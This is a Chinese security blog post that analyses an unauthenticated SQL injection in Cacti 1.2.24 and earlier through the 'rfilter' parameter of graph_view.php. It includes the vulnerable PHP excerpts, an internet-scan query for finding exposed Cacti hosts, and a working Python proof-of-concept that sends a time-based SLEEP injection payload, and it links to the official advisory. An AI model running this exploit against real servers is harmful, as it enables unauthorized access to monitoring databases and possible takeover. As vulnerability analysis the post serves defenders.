百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

Cacti未经身份验证SQL注入

toyiye 2024-06-21 12:34 8 浏览 0 评论

0x01 阅读须知

请遵守法律法规,文章仅供安全防范与学习,严禁非法使用,后果自负。

0x02 漏洞描述

(一) Cacti

Cacti是一个开源的网络图形化监控和数据可视化工具。它被广泛用于监控网络设备、服务器、应用程序和其他网络基础设施的性能和状态。

Cacti提供了一个基于Web的用户界面,使用户能够轻松创建、配置和管理监控图表。它使用RRDtool(Round Robin DatabaseTool)来存储和检索监控数据,并通过图表和图形的形式展示这些数据。用户可以根据需要创建自定义图表,并选择不同的数据源,如SNMP(SimpleNetworkManagement Protocol)、WMI(Windows Management Instrumentation)和Shell脚本等,来收集监控数据。


影响范围

cacti<=1.2.24


网络空间绘测

app="Cacti-监控系统"


(二)漏洞分析

在graph_view.php中发现了一个SQL注入漏洞。由于访客用户默认情况下可以访问graph_viewphp而无需身份验证,因此如果访客用户处于启用状态,则可能会造成重大损坏。攻击者可能会利用此漏洞进行攻击,并且可能会采取诸如篡夺管理权限或远程代码执行之类的操作。该漏洞存在于从graph_view.php文件调用的growt_right_pane_tree函数中。在tree_content的情况下,通过html_validate_tree_vars函数验证用户输入,随后,如果tree_id参数大于0,则调用growt_right_pane_tree函数。

graph_view.php

switch(get_nfilter_request_var('action')) {
// ...
case'tree_content':
html_validate_tree_vars();


// ...


if($tree_id >0) {
if(!is_tree_allowed($tree_id)) {
header('Location: permission_denied.php');
exit;
}


grow_right_pane_tree($tree_id, $node_id, $hgdata);
}

growt_right_pane_tree函数在带有RLIKE的WHERE子句中直接使用用户输入参数rfilter,如下所示。rfilter参数在graph_view.php的html_validate_tree_vars函数中进行验证,但此验证仅确保rfilter作为正则表达式是正确的,并不保证它不包含SQL代码。

lib/html_tree.php

function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
  // ...
  if (($leaf_type == 'header') || (empty($leaf_id))) {
    $sql_where = '';


    if (get_request_var('rfilter') != '') {
      $sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
    }
    // ...


    $graph_list = get_allowed_tree_header_graphs($tree_id, $leaf_id, $sql_where);


}

rfilter参数是如何验证的呢,html_validate_tree_vars函数将过滤器类型设置为filter_validate_IS_REGEX,并调用validate_store_request_vars功能。

lib/html_tree.php

function html_validate_tree_vars() {
  // ...
  /* ================= input validation and session storage ================= */
  $filters = array(
    // ...
    'rfilter' => array(
      'filter'  => FILTER_VALIDATE_IS_REGEX,
      'pageset' => true,
      'default' => '',
      ),
    // ...
  );


  validate_store_request_vars($filters, 'sess_grt');

validate_store_request_vars是一个根据设置的过滤器类型验证用户输入的函数。如果过滤器类型为filter_VALIDATE_is_REGEX,则VALIDATE_is_REGEX函数会检查该值是否为有效的正则表达式。validate_is_regex函数将用户输入插入preg_match,以验证它是否是有效的正则表达式。请注意,单引号用作正则表达式的分隔符。此分隔符是FILTER_VALIDATE_is_REGEX筛选器针对SQL注入提供的唯一保护。由于分隔符必须在正则表达式中转义,因此很难从WHERE子句中转义并插入SQL语句。

lib/html_utility.php

function validate_store_request_vars(array $filters, string $sess_prefix = ''):void {
  // ...


  if (cacti_sizeof($filters)) {
    foreach ($filters as $variable => $options) {
      // Establish the session variable first
      if ($sess_prefix != '') {
        // ...
      } else {
        if (get_nfilter_request_var($variable) == '0') {
        // ...
        } elseif ($options['filter'] == FILTER_VALIDATE_IS_REGEX) {
          if (is_base64_encoded($_REQUEST[$variable])) {
            $_REQUEST[$variable] = base64_decode($_REQUEST[$variable], true);
          }


          $valid = validate_is_regex($_REQUEST[$variable]);


          if ($valid === true) {
            $value = $_REQUEST[$variable];
          } else {
            $value        = false;
            $custom_error = $valid;
          }


// ...


function validate_is_regex($regex) {
  // ...


  if (@preg_match("'" . $regex . "'", NULL) !== false) {
    ini_set('track_errors', $track_errors);
    return true;
  }

在growt_right_pane_tree函数中,RLIKE引号使用双引号。这意味着用户输入验证根本不起作用。攻击者可以在rfilter参数中插入SQL代码,使其形成有效的正则表达式,从而启用SQL注入攻击。

lib/html_tree.php

function grow_right_pane_tree($tree_id, $leaf_id, $host_group_data) {
  // ...
  $sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';


(三)POC

import argparse
import requests
import sys
import urllib3


#import os
#os.environ['http_proxy'] = 'http://localhost:8080'


sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""


def exploit():
    url = f"{target}/graph_view.php"


    params = {
        "action":"tree_content",
        "node":"1-1-tree_anchor",
        "rfilter":payload
    }


    print('[+] Sending payload...')
    print(f"[+] Payload: {payload}")
    session.get(url,params=params)
    
if __name__=='__main__':
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")
    parser.add_argument('-t','--target',help='',required=True)
    args = parser.parse_args()
    
    target = args.target
    session = requests.Session()


    exploit()

0x03 修复方案

官方修复缓解措施

补丁链接

http://www.cacti.net/

参考链接

https://github.com/Cacti/cacti/security/advisories/GHSA-6r43-q2fw-5wrg

from https://mp.weixin.qq.com/s?__biz=MzU2MzQyMjA1NA==&mid=2247484118&idx=1&sn=729e5556243a7afa6493cb502d351cba

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码